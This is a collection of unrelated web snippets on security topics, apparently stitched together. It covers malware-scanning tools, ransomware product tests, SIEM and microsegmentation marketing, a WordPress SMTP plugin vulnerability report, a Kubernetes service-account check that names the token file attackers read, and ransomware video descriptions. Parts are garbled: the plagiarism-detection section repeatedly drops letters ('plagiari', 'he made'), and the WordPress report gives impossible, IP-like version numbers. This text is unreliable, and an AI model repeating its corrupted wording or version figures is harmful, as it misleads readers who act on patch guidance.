As Martin Brinkmann explains over on gHacks, CrowdInspect is not an all-in-one program — if you want to remove troublesome applications or potential malware properly, you'll need to grab options such as HijackThis, Spybot or similar. However, if you want a tool that employs a number of services to scan and rank potential threats, CrowdInspect delivers.
Along with VirusTotal, processes are checked against the Web of Trust and the malware hash database provided by Team Cymru Research. The results are then presented in an easy-to-understand listview, with green, yellow and red circles representing various — perceived — danger levels. |
Plagiari detection (also known as text similarity detection) is a method used to identify instances of plagiari in a document or a set of documents. It works by comparing the text of the document to a database of previously written documents. The similarity between the two documents is calculated by analyzing the words, phrases and sentences used in them. The comparison is done using algorithms that look for similarities in the text, such as the same words being used in the same order. If the algorithm detects a high degree of similarity between the two documents, it is assumed that the document is plagiarized.
Plagiari detection is the process of locating instances of plagiari within a work or document. The widespread use of computers and the advent of the Internet he made it easier to plagiarize the work of others. The process of plagiari detection involves using specialized software to compare a document against a database of other documents, looking for similarities in text. By comparing the text of a document to other documents, the software can determine if parts of the document he been copied from other sources.
Plagiari detection software works by scanning a document for phrases and sentences that are similar to those found in other sources. If the software finds a significant number of matches, it generates a report that identifies the original sources that the copied material comes from. The report also includes the percentage of the document that is copied from other sources.
In addition to scanning the text of documents, plagiari detection software can also analyze images and other digital media for signs of plagiari. For example, if a student submits a picture with their assignment, the software can search for similar images in other sources. This can help to identify instances of plagiari that are not immediately obvious.
The use of plagiari detection software is becoming increasingly widespread in academic institutions. It is a valuable tool for detecting plagiari and ensuring that students submit original work. |
Power flow cyber attacks and perturbation-based defense
Additional Document Info
In this paper, we present two contributions to false data injection attacks and mitigation in electric power systems. First, we introduce a method of creating unobservable attacks on the AC power flow equations. The attack strategy details how an adversary can launch a stealthy attack to achieve a goal. Then, we introduce a proactive defense strategy that is capable of detecting attacks. The defense strategy introduces known perturbations by deliberately probing the system in a specific, structured manner. We show that the proposed approach, under certain conditions, is able to detect the presence of false data injection attacks, as well the attack locations and information about the manipulated data values.
name of conference
2012 IEEE Third International Conference on Smart Grid Communications (SmartGridComm) |
Test subject – Princess Locker v2 ransomware
Princess Locker represents a relatively known type of ransomware which seems to have evolved from the same family as Alma Locker. It was first discovered in 2016 and a second version was released relatively recently, and it is very active at present.
Princess Locker ransomware test facts
The ransomware is distributed through various means like malicious sites which attempt to exploit vulnerabilities in Flash or Internet Explorer or malspam campaigns. Once it infects a computer, it encrypts most of the accessible files using a symmetric-key algorithm. The infected files are renamed using random extensions which are not the same on different machines. Princess also creates ransom notes in _THIS_TO_FIX_[identifier].txt or _THIS_TO_FIX_[ identifier].html files. Users are urged to open these files to find out the necessary information on how to decrypt the files. Typically, to decrypt the files, the user is asked to pay 0.06 – 0.18 BTC as a ransom.
The first version of Princess had flaws in the coding, which allowed security researchers to develop a decryptor which is available for free. Unfortunately, for the second version, there is no free decryptor available yet.
Princess Locker ransomware test results
TEMASOFT Ranstop detects this version of Princess Locker ransomware soon after it starts processing files. Upon detection, the user is alerted, and the malicious process is stopped and quarantined. The victim files are automatically restored so that the user doesn’t lose any valuable document.
About TEMASOFT Ranstop
TEMASOFT Ranstop is an anti-ransomware software that detects present and future ransomware, based on file access pattern analysis with a high degree of accuracy. At the same time, it protects user files so that they can be restored in case of malware attacks or accidental loss.
For more information, follow us on social media and subscribe to our newsletter. |
Those of you who live in and around certain cities may have seen the Dunbar name, emblazoned on the side of bright red armored trucks. The Dunbar security company, which created the Cyphon program, got its start in physical security, transporting money from local businesses and banks to secure holding facilities, and sometimes into the federal banking system. The company is very good at its job in the physical security world, and the idea for Cyphon was to extend Dunbar's protection-as-a-service model into cyber security.Protecting money for clients is more than just building secure physical structures and deploying armored trucks with armed guards. It\u2019s also about protecting the digital infrastructure and cyber assets that support those operations. And, as Dunbar officials explained, a lot of that collected money eventually becomes digital, part of the federal banking system. Because not every bank robber wields a shotgun and a mask, and, in fact, some of the most successful bank robbers, especially recently, have been completely cyber-focused, the company needed a powerful tool to help address, investigate and respond to cyber threats made against it. That is why Cyphon was first created, to be used internally by the company to protect its assets. After that, rolling it out as service to clients easily fit into their protection-as-a-service model.At its core, Cyphon is an advanced SIEM, able to collect events from its own assets as well as from other programs. It does this from a cloud interface, which means that customers using the Cyphon service don\u2019t need to provide and maintain a dedicated connection into their networks, or allow Dunbar free access to roam their networks. Instead, events are either collected inside a client\u2019s cloud, or on-premises by client machines, and then sent into the Cyphon cloud for examination and remediation.Customers do need to allow the cyber security analysts working with Cyphon to access their network to remediate problems, but that only happens when a problem needs to be fixed, machines need to be quarantined, or things like firewall settings need to be changed. Everything that the Cyphon teams do on a client network is transparent and fully auditable. Customers get to see the same, full interface that the teams at Dunbar are working with inside the Security Operations Center, just without the ability to perform tasks like assigning specific analysts to different problems. So, it\u2019s basically like administrator, but read-only, access.Pricing for Cyphon is based on the number of monitored endpoints and hosts, or the number of gigabytes per day that are processed if logfile review is made a part of the managed service. There is no additional charge for interactions with the client, such as when internal teams need to have a phone conversation with the experts working on Cyphon.Since it got its start in the world of physical protection, the Cyphon program is unique in that it can collect events from some assets that are not normally part of a managed service, or even most cybersecurity programs. For example, it can fully implement the use of cameras as an additional threat feed. At its most basic level, this can be something like a camera sensing movement late at night when nobody is supposed to be in the building. But advanced controls allow for logging other events too, like a user who is supposed to be on vacation suddenly logging into a local terminal. The camera system can find and record that interaction, alerting the customer that someone might be stealing an employee's identity or credentials while they are away, and showing who is doing it on video.Cyphon also, uniquely, has a social media monitoring component, which, like the camera interface, can be tightly configured. This can scan for any threats made or information dispersed involving the protected company. Users can even geofence certain areas and trigger alerts in the Cyphon system if, for example, a tweet is made from within that area.Beyond those two unique areas, Cyphon can pull data in from all the usual sources, including alerts from other SIEM programs, network IDS alerts, endpoint agents, packet capture, firewall activity, vulnerability scanners, internet of things (IoT) events, threat feeds, DLP platforms and anything else already running within the customer environment. Cyphon can set up its own monitoring agents if a customer is starting from zero, or work with almost any other security program that has already been installed.The main Cyphon interface is extremely clean and helpfully throttles and compiles events for users. During the testing, a single attack triggered multiple indicators from several different programs and sources, but Cyphon easily consolidated them all back down into a single incident. If a user is running Cyphon as a service, then they may not see too much of the interface, since the teams at Dunbar would be working cybersecurity on their behalf, but they still have complete access to the main dashboard in terms of visibility. John Breeden\/IDGWhen running as a service, the main Cyphon interface provides complete transparency into operations, proving that remote teams are doing their jobs, and helping less experienced internal analysts learn how to mitigate advanced threats.Cyphon first generates a trouble ticket from any incident, letting clients know that the program has detected something. Ticket notifications can be sent by a variety of means, but most of the time use e-mail. At that point, customers can head over to the Dunbar portal to get more information, or to initiate a call between their internal security teams and contracted ones at Dunbar. Or they can just sit back and let the contracted teams work on the problem. Dunbar encourages interaction, however, so clients can be as involved or as hands-off as they wish. John Breeden\/IDGUnlike many managed services, the one offered through Cyphon puts a lot of emphasis on client interactions. Every event is ticketed. If the client wants, they can use that number to begin an online or phone-based dialog between their internal security teams and those working remotely through Cyphon.As with any other SOC, there are a lot of tools available to analysts to fix problems, including quarantining infected systems, changing firewall and security rules and even wiping and disinfecting compromised assets. Everything that contracted teams do is visible to clients, recorded and updated through the trouble ticket system and is fully auditable in reports after the fact. The level of interactivity and transparency offered by Cyphon could be a real asset to a company that, for example, has a lot of junior cyber analysts, but a dearth of top-level experts. Being able to follow along and see what was done, as well as asking about why actions were taken, would be a great way to improve the skills of internal teams. John Breeden\/IDGWithin the past few months, Cyphon has started to be offered as an internal security tool as well as a service. The main interface works the same in either case, just in observer mode when running as a service, or with full access to the tool if being used internally.Deploying cyber security as a service makes sense for a lot of organizations, which is likely why Gartner named it as a rising category in security. Most companies don\u2019t focus on cybersecurity. Their core mission is to sell bicycles or bananas or whatever. But running a business without good cybersecurity is a recipe for disaster. So why not contract that function out to the experts, who can handle that function with both speed and accuracy? |
While developing your applications, OutSystems validates your implementation and issues errors and warnings, depending on the severity of the problem.
Both errors and warnings can occur at any stage of the module life cycle like implementing some logic, designing a screen, testing a query, or publishing to the server.
For most errors and warnings, double-clicking the error line in the TrueChange tab will take you directly to the source of the identified situation.
In OutSystems, an error is a problem that prevents deploying the module to the server.
Only when all errors are fixed, the module can be deployed to the server.
In OutSystems, a warning is a potential problem but does not prevent the deployment of a module to the server.
However, it's advisable to check the warnings and solve them, since they may be tip of the iceberg for unexpected or bad behaviors. |
Check Point Research (CPR) recently reported on a live software service, dubbed TrickGate, that has been used by malicious threat actors for over six years. TrickGate is essentially a packer that allows cybercriminals to carry out malicious activities, such as deploying malicious code by evading antivirus checks.
According to researchers, there are a few key points that allow a packer such as TrickGate to remain efficient and undetectable for so many years.
First, a packer can contain any kind of payload, and since it is not limited to any single one, it can also be used to pack many different malicious samples.
Secondly, a packer’s inherent nature allows for changes to its wrapper on a regular basis, which enables it to evade detection from security products.
However, CPR was able to connect the dots from prior research and ended up finding a single operation that appeared to be offered as a service. Their research suggests that numerous threat actors from groups such as Cerberus, Emotet, REvil, Maze, Cerber, HawkEye, AZORult, Formbook, Remcos, LokiBit, AgentTesla and more exploited the service to deploy malware.
The advisory further estimates that, during the last two years, threat actors have used TrickGate to conduct 40 to 60 attacks per week. The majorly targeted industry was manufacturing, but others such as education, healthcare, finance, and business enterprises were also affected.
“The attacks are distributed all over the world, with an increased concentration in Taiwan and Turkey. The most popular malware family used in the last 2 months is Formbook with 42% of the total tracked distribution,” CPR wrote in its report.
Going into technical depth, CPR security researcher Arie Olshtein explained that the entire attack flow of TrickGate shows that the malicious program is first encrypted and then packed with a special routine. It is designed to prevent the system from detecting the payload statically and at run-time.
CPR’s advisory concludes with the need for more attention to unravelling the packer’s building blocks since they provide a way to detect the threat at an early stage. The only way to tackle a hacker’s transformative abilities is by giving them the same attention that is given to actual malware. Researchers can now use the identified packer, TrickGate, as a focal point to detect new or unknown malware. |
Whois Domain Lookup
What is Whois Domain ?
WHOIS is a query and response protocol that is used for querying databases that store the registered users or assignees of an Internet resource, such as a domain name, an IP address block, or an autonomous system,etc.
Purpose of Whois
The WHOIS system originated as a method for system administrators to obtain contact information for IP address assignments or domain name administrators.
The use of the data in the WHOIS system has evolved into a variety of uses, including:
- Supporting the security and stability of the Internet by providing contact points for network operators and administrators, including ISPs, and certified computer incident response teams;
- Determining the registration status of domain names;
- Assisting law enforcement authorities in investigations for enforcing national and international laws, including, in some countries, specialized non-governmental entities may be involved in this work;
- Assisting in combating abusive uses of information communication technology;
- Facilitating inquiries and subsequent steps to conduct trademark research and to help counter intellectual property infringement;
- Contributing to user confidence in the Internet as a reliable and efficient means of information and communication and as an important tool for promoting digital inclusion, e-commerce and other legitimate uses by helping users identify persons or entities responsible for content and services online;
- Assisting businesses, other organizations and users in combating fraud, complying with relevant laws and safeguarding the interests of the public.
Supported whois domain TLDS are: ae, aero, ag, asia, at, au, be, biz, br,bz, ca, cat, ch, cl, cn, co, co, coop, cz, de, edu, es, eu, fi, fj, fm, fr, hu, ie, in, info, int, ip, ip, ir, is, it, jp, lt, lu, ly, me, mobi, museum, mx, name, nl, nu, nz, org, org, pl, pro, pt, ro, ru, sc, se, si, su, tel, travel, uk, us, ve, ws, za, zane |
One of the most common cyberattack strategies can be summarized with three simple steps:
- Compromise an exposed, vulnerable machine
- Leverage internal network connectivity to move laterally and find a critical asset
- Make the offensive move (malware, ransomware, exfiltrate data)
According to the IBM Data Breach Report 2020, it takes organizations, on average, 280 days to discover and contain a breach.
As one way of mitigating this risk, enterprises are adopting a microsegmentation strategy as a foundational network security control to reduce their cloud attack surface and build a zero-trust posture. Security teams implement these tools to isolate applications – or create micro-perimeters around apps – so that when there is a breach, the attack cannot spread.
I’ll explain why identity should be an essential component to your microsegmentation strategy.
What is Missing From Your Microsegmentation Deployment?
The microsegmentation market generally offers three different deployment types:
- Network infrastructure or software-defined networks (SDN) providing network segmentation controls including VLANs, overlay networks, and subnets paired with Access Control Lists (ACLs).
- Native hypervisor and cloud network controls using virtual NICs (vNICs) or security groups
- Host-based controls instrumenting IP firewall rules into the operating system (e.g., iptables) to provide self-protection at the host level
What each style has in common is that the security perimeter around business-critical applications is still the IP address.
The concept of Zero Trust means no workload, application, or IP can be trusted on the network — you should always verify before allowing. But determining whether or not two things should be allowed to communicate based on their network address is like a banking application granting you access to your online account just based on your home’s public IP rather than user credentials to verify your authenticity. This is how you should think about communications between applications.
As organizations adopt cloud technologies and increase workload interconnectivity, implementing a microsegmentation strategy becomes a fundamental security practice, and incorporating identity is crucial to making it effective. That’s why Prisma Cloud Identity-Based Microsegmentation combines network security with identity to reduce complexity and increase network defenses for multi-cloud environments.
4 Ways Identity Strengthens Microsegmentation Strategy
Let’s cover four ways Identity-Based Microsegmentation uses identity to boost microsegmentation efficacy across cloud environments.
Workload identity is the key element that sets the foundation of Zero Trust. Prisma Cloud assigns a cryptographically-signed workload identity to every protected host and container across your cloud environments. Each identity consists of contextual attributes, including metadata from cloud native services across Amazon Web Services (AWS), Microsoft Azure, Google Cloud, Kubernetes and more.
Prisma Cloud uses this workload identity to authenticate and authorize application communication requests. Only workloads with a verified identity are allowed to communicate on the network. By normalizing network security with identity, organizations can effectively understand their applications and embrace a Zero Trust security posture.
Understanding how applications communicate helps security teams make informed policy decisions. But according to the 2020 Flexera State of the Cloud Report, 63% of respondents reported understanding app dependencies as their top cloud migration challenge.
The nature of cloud and Kubernetes depreciate the value of IP addresses when teams want to understand their application dependencies. Middleboxes – such as gateways, proxies or load balancers – perform inline Network Address Translation (NAT) between cloud workloads, requiring network teams to stitch together IP logs across several flow collectors. And Kubernetes clusters use Source Network Address Translation (SNAT) to dynamically assign ephemeral IP addresses to pods.
Prisma Cloud provides comprehensive visibility into applications and their network dependencies, giving teams the data they need to make better decisions. With Identity-Based Microsegmentation, protected hosts and containers provide workload identity to validate the authenticity of every connection request. By capturing identity with every network flow, Prisma Cloud ensures accurate flow visibility across hosts and containers without relying on source or destination network addresses.
Identity-Based Policy Management
Prisma Cloud allows users to manage security policy without needing to understand complicated network engineering. The attributes used to identify and visualize applications are the same attributes used to write and manage microsegmentation policies.
Attribute-based policy management helps organizations perform coarse segmentation using environment, business unit or cloud account, or granular segmentation using application, service or workload. Network and cloud security teams use one microsegmentation management console to protect hosts and containers across hybrid- and multi-cloud environments.
Prisma Cloud can also help accelerate network policy change workflows and enable DevSecOps. Since our policy language is driven by identity attributes, rather than constructs that only network engineers understand, developers can effectively program microsegmentation policies as code and insert policies into CI/CD workflows.
Identity-Based Policy Enforcement
The last important identity factor in a microsegmentation strategy is enforcement.
As mentioned earlier, the nature of cloud and Kubernetes leaves network-security gaps and introduces obstacles with cloud NAT, IP domain overlaps and ephemeral container addresses. With Zero Trust architectures, IP addresses on the network cannot be trusted.
That’s why Prisma Cloud does away with the traditional practice of segmenting application traffic based on IP addresses. Hosts and containers use their cryptographic identity to mutually authenticate and authorize all application communication requests. Identity-Based Microsegmentation policies only allow verified applications to intercommunicate, ensuring optimal protection of cloud workloads.
Getting Started with Identity-Based Microsegmentation
The Identity-Based Microsegmentation module is fully integrated into the Prisma Cloud platform. Request a personalized demo and ask about a 30-day trial to see how your applications communicate and simplify segmentation across hosts and containers. |
Modifications to ACLs (Access Control Lists) in Microsoft Exchange 5.5 do not take effect until the directory store cache is refreshed.
The software does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.
- Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, in Java, if the programmer does not explicitly initialize a variable, then the code could produce a compile-time error (if the variable is local) or automatically initialize the variable to the default value for the variable’s type. In Perl, if explicit initialization is not performed, then a default value of undef is assigned, which is interpreted as 0, false, or an equivalent value depending on the context in which the variable is accessed. |
Service account (SA) represents an application identity in Kubernetes. By default, an SA is mounted to every created pod in the cluster. Using the SA, containers in the pod can send requests to the Kubernetes API server. Attackers who get access to a pod can access the SA token (located in /var/run/secrets/kubernetes.io/serviceaccount/token) and perform actions in the cluster, according to the SA permissions. If RBAC is not enabled, the SA has unlimited permissions in the cluster. If RBAC is enabled, its permissions are determined by the RoleBindings\ClusterRoleBindings that are associated with it.
ClusterRole, ClusterRoleBinding, CronJob, DaemonSet, Deployment, Job, Pod, ReplicaSet, Role, RoleBinding, ServiceAccount, StatefulSet
Control checks if RBAC is enabled. If it's not, the SA has unlimited permissions. If RBAC is enabled, it lists all permissions for each SA.
Verify that RBAC is enabled. Follow the least privilege principle and ensure that only necessary PODs have SA token mounted into them.
Updated 28 days ago |
There are two cybersecurity companies have detected Zero-Day vulnerability in WordPress SMTP Plugin.
Easy WP SMTP allows you to Send email using an SMTP server. It configures to send all outgoing emails via an SMTP server. This will prevent your emails from going into the junk/spam folder of the recipients.
Moreover 300,00 active installs in WordPress websites. First found by Ninja Technology
The vulnerability was found in 1.3.9 version and it has been exploited by hackers since last 15 March, was detected by NinjaFirewall and Wordfence.
If you are still using the old version of Easy WP SMTP then you should need to update 188.8.131.52 version.
According to NinTechNet, hackers modified the “wp_user_roles” option in the database and to give administrator capabilities to all users. Unlike creating an admin account, which can be easily detected in the WordPress “Users” section
This means that hackers would register new accounts that appeared as subscribers in the WordPress site’s database, but change the permissions abilities as admin can do.
According to Wordfence, the hackers can modify the setting default_role to “administrator”, and enabling users_can_register. Then, the attacker uses these new settings to register an administrator user for themselves.
Other vulnerabilities could be exploited such as:
- Remote Code Execution via PHP Object Injection because Easy WP SMTP makes use of unsafe unserialize() calls.
- Viewing/deleting the log (or any file, since hackers can change the log filename).
- Exporting the plugin configuration which includes the SMTP host, username and password and using it to send spam emails.
- Interestingly, all attempts caught by our firewall on March 15 showed that hackers tried to exploit the vulnerability to alter the content of the WordPress wp_user_roles option in the database and to give administrator capabilities to all users.
Both of the campaigns launch their initial attacks identically, by using the proof of concept (PoC) exploit.
As always, it’s important for users to regularly update their plugins in order to apply the security patches for vulnerabilities like these.
Easy WP SMTP version 184.108.40.206 prevents unauthenticated access and fixed a potential vulnerability in import and export settings. |
Digital Deception: Implications of Pursuing Decision Superiority Using Deception in Cyberspace
NAVAL WAR COLL NEWPORT RI
Pagination or Media Count:
Military Deception is one of the tools of information Warfare IW and a key enabler of Decision Superiority. The next generation of military deception will include digital deception deception in cyberspace. Joint Vision 2020 calls for U.S. Joint Forces to strive for, and obtain Decision Superiority as the goal of their Command and Control Warfare C2W efforts. The logical culmination of the pursuit of dominance across the cognitive hierarchy, Decision Superiority is the ability to make prudent military decisions while denying ones adversaries the same. What is deceptions role in the pursuit of Information and Decision Superiority How does digital deception differ from traditional military deception What advantages does it offer over traditional deception What are the challenges to implementing deception in the digital domain These are the questions addressed.
- Information Science
- Computer Systems |
The continual threat from terrorist activities at critical facilities requires early detection before they can reach their target and complete their mission. This in turn has resulted in the need for advanced security systems that can effectively detect terrorist activity, while at the same time, reduce the need to address alarms caused by normal friendly activity.
Automatic Threat Assessment, also referred to as Identify Friend or Foe (IFF), is the ability to automatically acknowledge alarms created by friendly assets and can be achieved with a security system that goes beyond the typical “intrusion sensor only” configuration.
The addition of a tracking system associated with “friendly” vehicles and personnel can provide the missing information necessary to tighten security and reduce the need to take action on alarms caused by friendly targets, all while reducing the cost of threat assessment in terms of both material and personnel cost. It is important to understand how tracking systems and intrusion sensors can work together to automatically classify an “Actual Intruder.”
The Nuisance Alarm
Typical intrusion sensors include intelligent fences, ground proximity sensors, RADAR, LIDAR and video analytics. The role of the intrusion sensor is to identify a breach and provide that notification to security personnel so they may perform verification. The formal alarm types received from intrusion sensors include: Intrusion, Nuisance, Environmental and False Alarms. The intrusion sensor strives to have a high detection rate and a low false alarm rate. For this reason, the nuisance alarm can be problematic as it reflects a real event for the intrusion sensor, but it’s often a non-event for the security operator.
The Verification Problem
This security dilemma deals with detecting actual intruders or terrorists in a secure area, yet in an active environment with “normal” vehicular and/or pedestrian traffic. Typically, a secure area employs many sensors to detect intruders, which may only provide a “Suspected Intruder” list. The follow-up task is to decide whether or not to reclassify a “Suspected Intruder” as an “Actual Intruder.” This process is typically a manual task and can be difficult and requires crucial time.
Take the example of routine landscaping, whereby the landscape crew needs to access a gate in order to address vegetation on both sides of the perimeter. This type of event proves problematic. Intrusion sensors, such as radar, video analytics or an intelligent fence, will all alarm on this event with a high degree of accuracy. Even for very accurate systems that can uniquely track the object over a long period, it is highly likely that over the period of time the landscapers are in the area, the track could be lost, causing the system to re-alarm on the same person or vehicle.
It may also be the case that the landscaping crew requires the opening of a gate. If that gate is integrated into the facility’s access control system via a dry contact or beam breaker device, it may continuously alarm while left open or each time one of the workers or the vehicle passes through the entrance. Security will either need to validate each alarm by verifying it on a camera or having an officer follow the landscaping crew throughout their route.
Another typical action is to temporarily disable the intrusion sensor, which now leaves a portion of the facility vulnerable.
The existence of a “friendly” alarm event that needs to continue to be validated can result in the security personnel becoming complacent and either not verifying it, or not verifying it in a timely manner. These actions take resources, inhibit security from reacting to a real event and can potentially increase the risk of intrusion by disabling and re-enabling sensors.
Locating ‘Friendly’ Assets
This is where a tracking system could combine with the intrusion sensors to provide additional value. Tracking systems consist of two main types of locating devices: GPS-enabled devices and transponder devices. A transponder is a wireless communications device that emits an identifying signal in response to a specific interrogation signal.
Advances in Global Positioning System (GPS) technology have facilitated the growth of GPS-enabled tracking devices, which contain two functional parts: GPS receiver and wireless communication. Modern GPS receivers can achieve an accuracy rating of less than three meters, provide an update once per second and do not require visibility to the open sky.
Combining Detection and Location
With an understanding of intrusion sensors’ ability to locate and detect intrusions and tracking systems’ ability to locate personnel and assets, the combination of systems can result in automatic threat assessment. Routine situations that require significant security involvement, such as the landscaping scenario, now become an event that can be automatically managed by the system. With the augmentation of a tracking system, the Command & Control system now has the ability to know friendly targets and their locations. This can allow the system to perform a check before alarming.
In the case of a perimeter alarm, it would have the intelligence to understand, within a level of confidence, that the object detected by the intrusion sensors is the same friendly item being tracked by the tracking system. If the system determines the targets to be the same object, the alarm can be suppressed, eliminating the need for security to verify the event.
A Common Operating Picture
The integration of these types of systems is not complex in terms of how to coordinate data. Interface documents exist for these types of integration and are done on a regular basis. Typical position and target information is communicated over XML in a standard format. However, to gain these benefits the tracking systems and intrusion sensors must all work within a common geospatial operating picture.
Geospatial, or geo-referenced systems, have the understanding of how the system and its data relate to real-world coordinates: latitude, longitude, speed, heading, altitude and time. The ability to understand where an object is currently located in time and space is what allows tracking systems and intrusion sensors to synergistically perform automatic verification.
This combined knowledge of the target’s track also allows the fusing of the GPS data and the intrusion sensor data into a single object and path. This further aids security by reducing target and track clutter.
A typical example is a security officer, enabled with a tracking device, performing a tour around a fence protected by video analytics-enabled cameras. On a typical Perimeter Security Information System, a normal security officer tour would result in two icons on the display – one friendly from the tracking system and one unknown from the video analytics. This scenario would also result in two similar object tracks. Security would need to review the situation and understand that this symbology represents a single target and a single track.
Integrating the tracking system with the video analytics system allows for a fusing of this data, and the resulting Command and Control symbology is a single target and a single track.
There are additional considerations that need to be understood when combining a tracking system with intrusion sensors. These include update rate, time and location accuracies and overlapping coverage.
Ideally, all sensors would be synchronized when it comes to timing aspects, but this is typically not the case. Different timing between data updates and time inaccuracies can result in the inability for the systems to confidently conclude that two tracks were created by the same target. Transport delay, the transmission of the GPS data through the satellite, can also be an issue. For tracking devices, it’s vital for the data to be received by the C2 system with a repeatable transport delay. Variability in the transport delay also decreases the ability to automatically verify the threat.
Geographic accuracy of both the GPS tracker and the intrusion sensor is another important factor in data fusion. Typical GPS trackers have an accuracy rating for three to 10 meters. Actual accuracy varies based upon the visible GPS satellites, tall buildings, body worn, RF interference, etc. Intrusion sensors also possess an inherent accuracy. Radar surveillance may have a resolution of 1m x 1m at close range, but it expands at far range to 1m x 20m.
Intelligent fence sensors and video analytic systems can have resolutions that vary from 1m to 25m, based on the type of sensor and the terrain. These geographic inaccuracies can be handled to some degree by considering other factors, including heading, speed and previous track, but it’s important to understand where these inaccuracies can occur.
Overlapping coverage of surveillance sensors also affects data fusion. In the case of track fusion, this ability is only available in areas where both a geospatial intrusion sensor exists and a tracking system is operational. If there are gaps in the overlapping coverage, or if there are areas that do not include geospatial-based intrusion sensors, then fusion might not be possible.
There are also other scenarios, where multiple geospatial sensors exist and they may all detect the same intruder. The C2 system must take into account all these sensors and merge overlapping intruder targets prior to data fusion. This will result in the ability to continue automatic threat assessment.
Security personnel face a difficult environment. They are expected to detect, assess and react to security threats within current or reduced manpower limitations. One means of achieving this is through the fusing of intrusion sensor and tracking system data. This combination of sensors can help relieve the operator workload by automatically assessing alarms created by friendly targets. It also provides the basis for enhanced situational awareness, allowing the display of geospatial, fused target and track information on the operator’s C2 display. |
Hi Guys Welcome to elearninginfoit my name is rajesh i just inform about this video only for Training ,Tutorials and Education purpose More information about this video so read this description you will get everything about it How to provide another layer of defense Crypto based ransomware keeps on reinventing itself in order to get through security defenses. New variants are tested against security vendors in order to avoid detection. While some become less active at times such as Cryptolocker or CTB-Locker, others gain ground like Teslacrypt or CryptoWall. Vigilance is needed to prevail as new variants are seen to reemerge with similar behaviors. This document aims at providing another layer of defense against a highly professionalized, for-profit malware industry that is constantly innovating and trying to either circumvent known security measures or exploit unsecure or outdated systems. By identifying similar patterns of behavior within different variants we have come up with some proactive rules for endpoint products: VirusScan Enterprise (VSE), Endpoint Security (ENS) and Host Intrusion Prevention (HIP). These rules aim at effectively preventing the installation and / or the payload of historical, current, and evolving new variants of all these threats. Please note the rules suggested in this document for a particular variant do not provide protection for prior/other variants unless otherwise stated and are meant to be implemented in a cumulative manner. The encryption technique used in the payload makes the recovery of the encrypted files impossible as once executed the private key required is only available to the author. The use of HIP rules as detailed in the hands-on videos and section below have been proven to be very effective at stopping all current and new variants of these threats. We recommend these to be reviewed, tested, and implemented. Prior to implementing the recommendations below, it is essential that the rules are tested thoroughly to ensure their integrity and also that no legitimate application, in-house developed or otherwise, is deemed malicious and prevented from functioning in your production environment. For an in-depth coverage of the different Cryptolocker variants, symptoms, attack vectors, and prevention techniques please review the following videos: Policy Sheet :- https://drive.google.com/file/d/0B_dPROHJj_tKYXd1SlhnUFE3d1U/view?usp=sharing excel sheet :-https://drive.google.com/open?id=0B_dPROHJj_tKLU1QMVFGV1pncGM facebook page : https://www.facebook.com/elearninginfoit twitter page : https://twitter.com/RajeshS87398051 Google plus: https://plus.google.com/u/0/100036861860929870179 blogger page : https://elearninginfoit.blogspot.in youtube page : https://www.youtube.com/c/elearninginfoit linkdin page : https://in.linkedin.com/in/rajesh-sharma-90537179 https://www.instagram.com/elearninginfoit/ https://www.pinterest.com/elearninginfoit https://vimeo.com/user57285849 https://elearninginfoit.wordpress.com/ https://www.reddit.com/user/elearninginfoit https://www.flickr.com/people/[email protected]/ http://www.tumblr.com/liked/by/elearninginfoit
Views: 5110 elearninginfoit
This tutorial will show you three techniques that you can use to recover files that have been encrypted by ransomware viruses such as , CryptoLocker, CryptoWall, CTB-Locker, Locky, TeslaCrypt, Cerber3, CryptoDefense, Petra, TorrentLocker and many others.
Views: 219576 Smith Technical Resources
Fight Back Against Ransomware In this video we will be testing McAfee Ransomware Interceptor, you will be very surprised how good this done against ransomware, have this along side other security protection would work great at staying safe against ransomware. If you do not know, crypto ransomware will encrypt your data once on the system, most of these malicious malware cannot be decrypted and leave the user with loss of data, unless they pay the ransom, which I do not suggest you do. backing up your computer data has never been as important as is it today, ransomware can leave the user helpless and frustrated with its security software, using the right type of software is very important. McAfee Ransomware Interceptor a long side other security software could help keep your data safe. Remember no software is 100% full proof, users need to educate them self's and be web smart. Download McAfee Ransomware Interceptor http://www.mcafee.com/au/downloads/free-tools/interceptor.aspx Need help with computer problem? want to chat? join our forum http://www.briteccomputers.co.uk/forum
Views: 7699 Britec09
Avoiding wannacry encryption, using vse de mcafee antivirus. ##### Evitando cifrado wannacry, mediante antivirus vse de mcafee
Views: 460 4Securi-TI
Avast Free Antivirus vs recent Ransomware. How well does it have you covered? -File shields off. (The video also includes a fun challenge for you, yes, viewers). ------------------------------------------- Thanks for watching! If you like what you see, check out the links below. Patreon: https://www.patreon.com/tpsc Forum: https://forum.thepcsecuritychannel.com/ Twitter: https://twitter.com/leotpsc Facebook: https://www.facebook.com/tpscyt
Views: 172526 The PC Security Channel [TPSC]
McAfee Drive Encryption- Manuel boot and Decryption process EETech
Views: 26867 Can Topaloglu
Restart the McAfee Endpoint Encryption Agent service, and repeat the procedure. Online Activation of McAfee Drive Encryption Agent. Accelerated method for synchronization in with the ePO in less than 1 minutes.
Views: 662 Milan Kkharel
Petya ransomware is a nasty malware that encrypts the MBR of the infected computer. Watch the video to learn how to decrypt Petya ransomware for free. Download free Petya decrypter from here: http://virusguides.com/decrypt-petya-ransomware-encrypted-hdd-free/
Views: 3037 Virus Guides
Today's episode talks about Scarab Ransomware spreading to email inboxes, researchers debating over hack proof data encryption, and McAfee acquiring SkyHigh Networks. Thanks for watching and don't forget to subscribe to our channel for the latest cybersecurity news! Visit Hacker Arsenal for the latest attack-defense gadgets! https://www.hackerarsenal.com/ FOLLOW US ON: ~Facebook: http://bit.ly/2uS4pK0 ~Twitter: http://bit.ly/2vd5QSE ~Instagram: http://bit.ly/2v0tnY8 ~LinkedIn: http://bit.ly/2ujkyeC ~Google +: http://bit.ly/2tNFXtc ~Web: http://bit.ly/29dtbcn
Views: 300 Pentester Academy TV
Demonstration decryption. I'm deciphering encrypted files Cerber2 Ransomvare. CERBER,authors were able to do corrections in the process of encryption, so that this tool is not operational! Many who were fast they were able to return their files, the others will have to wait, unfortunately. Follow my channel when I get the information that appeared decryption tools ,I'll publish it on my channel.
Views: 89296 CyberSecurity GrujaRS
Ransom note;Как все эту шалашкину контору расшифровать.txt
Views: 125 CyberSecurity GrujaRS
